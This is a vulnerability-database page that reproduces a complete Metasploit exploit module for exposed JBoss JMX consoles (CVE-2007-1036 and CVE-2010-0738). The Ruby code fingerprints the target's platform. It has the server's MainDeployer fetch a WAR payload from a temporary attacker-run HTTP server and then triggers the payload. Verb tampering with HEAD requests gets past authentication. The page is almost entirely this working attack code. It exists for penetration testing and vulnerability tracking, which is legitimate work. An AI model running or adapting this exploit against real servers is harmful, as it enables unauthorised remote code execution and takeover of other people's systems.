Lucene search
+L

JBoss JMX Console Deployer Upload and Execute

🗓️ 20 Feb 2007 00:00:00Reported by jduck <[email protected]>, Patrick Hof, h0ng10Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 307 Views

JBoss JMX Console Deployer Upload and Execute module for executing payloads on JBoss servers via the exposed "jmx-console" application. Utilizes jboss.system:MainDeployer functionality to put the payload on the server and creates a temporary HTTP server to serve a WAR archive. Requires outbound connections from the target server

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss JMX Console Deployer Upload and Execute',
        'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have
          an exposed "jmx-console" application. The payload is put on the server by
          using the jboss.system:MainDeployer functionality. To accomplish this, a
          temporary HTTP server is created to serve a WAR archive containing our
          payload. This method will only work if the target server allows outbound
          connections to us.
        },
        'Author' => [ 'jduck', 'Patrick Hof', 'h0ng10'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-1036' ],
          [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], # For CVE-2010-0738
        ],
        'DisclosureDate' => '2007-02-20',
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [
            'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          #
          # Platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [
            'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]),
        OptString.new('HttpPassword', [ false, 'The password for the specified username' ]),
        OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
        OptAddress.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
        OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
      ]
    )
  end

  def auto_target
    if datastore['VERB'] == 'HEAD'
      print_status("Sorry, automatic target detection doesn't work with HEAD requests")
    else
      print_status('Attempting to automatically select a target...')
      res = query_serverinfo
      if !(plat = detect_platform(res))
        fail_with(Failure::NoTarget, 'Unable to detect platform!')
      end

      if !(arch = detect_architecture(res))
        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
      end

      # see if we have a match
      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
    end

    # no matching target found, use Java as fallback
    java_targets = targets.select { |t| t.name =~ /^Java/ }
    return java_targets[0]
  end

  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15))
    app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15))

    mytarget = target
    if (target.name =~ /Automatic/)
      mytarget = auto_target
      if (!mytarget)
        fail_with(Failure::NoTarget, 'Unable to automatically select a target')
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)).nil?)

    # Generate the WAR containing the payload
    @war_data = p.encoded_war({
      app_name: app_base,
      jsp_name: jsp_name,
      arch: mytarget.arch,
      platform: mytarget.platform
    })

    #
    # UPLOAD
    #
    resource_uri = '/' + app_base + '.war'
    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}#{resource_uri}...")
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => resource_uri
      }
    })

    if (datastore['WARHOST'])
      service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    end

    print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
    if (datastore['VERB'] == 'POST')
      res = send_request_cgi({
        'method' => datastore['VERB'],
        'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
        'vars_post' =>
            {
              'action' => 'invokeOpByName',
              'name' => 'jboss.system:service=MainDeployer',
              'methodName' => 'deploy',
              'argType' => 'java.lang.String',
              'arg0' => service_url
            }
      }, 30)
    else
      res = send_request_cgi({
        'method' => datastore['VERB'],
        'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
        'vars_get' =>
            {
              'action' => 'invokeOpByName',
              'name' => 'jboss.system:service=MainDeployer',
              'methodName' => 'deploy',
              'argType' => 'java.lang.String',
              'arg0' => service_url
            }
      }, 30)
    end
    if (!res)
      fail_with(Failure::Unknown, 'Unable to deploy WAR archive [No Response]')
    end
    if (res.code < 200 or res.code >= 300)
      case res.code
      when 401
        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
    end

    # wait for the data to be sent
    print_status('Waiting for the server to request the WAR archive....')
    waited = 0
    until (@war_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > 30)
        fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
      end
    end

    print_status('Shutting down the web service...')
    cleanup_service

    #
    # EXECUTE
    #
    print_status("Executing #{app_base}...")

    # The payload doesn't like POST requests
    # As the war file is not stored inside the jmx-console, we don't have to
    # care about the selected http method
    tmp_verb = datastore['VERB']
    tmp_verb = 'GET' if tmp_verb == 'POST'

    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 3 seconds inbetween tries
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    num_attempts = 5
    num_attempts.times do |attempt|
      res = send_request_cgi({
        'uri' => uri,
        'method' => tmp_verb
      }, 30)

      msg = nil
      if (!res)
        msg = "Execution failed on #{app_base} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
      elsif (res.code == 200)
        print_good("Successfully triggered payload at '#{uri}'")
        break
      end

      if (attempt < num_attempts - 1)
        msg << ', retrying in 3 seconds...'
        print_error(msg)

        select(nil, nil, nil, 3)
      else
        print_error(msg)
      end
    end

    #
    # DELETE
    #
    # XXX: Does undeploy have an invokeByName?
    #
    print_status("Undeploying #{app_base} ...")
    res = send_request_cgi({
      'method' => datastore['VERB'],
      'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
      'vars_post' =>
        {
          'action' => 'invokeOpByName',
          'name' => 'jboss.system:service=MainDeployer',
          'methodName' => 'methodName=undeploy',
          'argType' => 'java.lang.String',
          'arg0' => app_base
        }
    }, 30)
    if (!res)
      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
    elsif (res.code == 500 and datastore['VERB'] == 'POST')
      # POST requests result in a http 500 error, but the payload is removed..."
      print_warning('WARNING: Undeployment might have failed (unlikely)')
    elsif (res.code < 200 or res.code >= 300)
      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
    end

    handler
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@war_data)
      print_error("A request came in, but the WAR archive wasn't ready yet!")
      return
    end

    print_status('Sending the WAR archive to the server...')
    send_response(cli, @war_data)
    @war_sent = true
  end

  def query_serverinfo
    path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
    res = send_request_raw(
      {
        'uri' => path
      }, 20
    )

    if (res) && (res.code == 401)
      fail_with(Failure::NoAccess, 'Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.')
    end

    if (!res) or (res.code != 200)
      fail_with(Failure::Unknown, "Failed: Error requesting #{path}")
    end

    res
  end

  def autofilter
    true
  end

  # Try to autodetect the target platform
  def detect_platform(res)
    if (res.body =~ %r{<td.*?OSName.*?(Linux|FreeBSD|Windows).*?</td>}m)
      os = ::Regexp.last_match(1)
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end

  # Try to autodetect the target architecture
  def detect_architecture(res)
    if (res.body =~ %r{<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?</td>}m)
      case arch
      when 'x86', 'i386', 'i686'
        return ARCH_X86
      when 'x86_64', 'amd64'
        return ARCH_X64
      end
    end
    nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2007 00:00Current
8.4High risk
Vulners AI Score8.4
307